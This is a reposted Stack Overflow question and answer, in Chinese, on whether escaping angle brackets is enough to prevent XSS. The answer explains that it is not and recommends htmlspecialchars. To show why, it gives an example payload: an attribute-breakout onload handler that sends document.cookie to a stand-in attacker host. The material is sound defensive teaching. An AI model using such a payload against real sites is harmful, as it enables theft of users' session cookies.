gpt4 book ai didi

xss - 正在替换 : < and > with < and > enough to prevent XSS injection?

转载 作者:行者123 更新时间:2023-12-02 08:25:29 26 4
gpt4 key购买 nike

我想知道是否包含两个标记<>足以防止 XSS 注入(inject)吗?

如果没有,为什么?最好的解决方案是什么?

最佳答案

这在很大程度上取决于上下文。

查看这个来自典型论坛网站的示例...

You may hotlink your avatar image. Enter the full URL.

恶意用户在输入字段中输入

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

那里没有小于和大于的编码,但仍然是一个很大的安全漏洞。

使用htmlspecialchars(),我发现制作(或使用)它的包装函数来转换为字符串是个好主意,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它使用应用程序的正确字符集。 Kohana 有一个 great example .

关于xss - 正在替换 : < and > with &lt; and &gt; enough to prevent XSS injection?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2113984/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com